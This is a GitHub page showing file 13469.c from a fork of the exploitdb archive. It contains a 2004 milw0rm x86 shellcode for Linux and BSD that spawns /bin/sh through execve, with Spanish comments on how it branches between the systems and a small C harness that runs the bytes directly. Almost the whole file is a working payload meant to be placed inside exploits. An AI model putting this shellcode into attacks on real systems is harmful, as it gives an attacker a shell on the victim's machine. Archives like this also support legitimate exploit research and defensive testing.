forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path13469.c
More file actions
41 lines (37 loc) · 1.24 KB
/
Copy path13469.c
File metadata and controls
41 lines (37 loc) · 1.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/*
* Linux/x86 and Bsd/x86
*
* execve() of /bin/sh by dymitri!!!
*
*/
#include <stdio.h>
char
code[] =
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x54"
"\x53"
"\x50"
"\x8c\xe0"
"\x21\xc0"
"\x74\x04"
"\xb0\x3b"
"\xeb\x07" /* si es bsd saltamos los 7 bytes para llegar al int $0x80 */
"\xb0\x0b"
"\x99" /* En caso contrario si %fs es igual a 0 configuramos para que la ejecucion sea sobre linux */
"\x52"
"\x53"
"\x89\xe1"
"\xcd\x80";
main()
{
void (*s)() = (void *)code;
printf("Shellcode length: %d\nExecuting..\n\n",
strlen(code));
s();
}
// milw0rm.com [2004-09-12]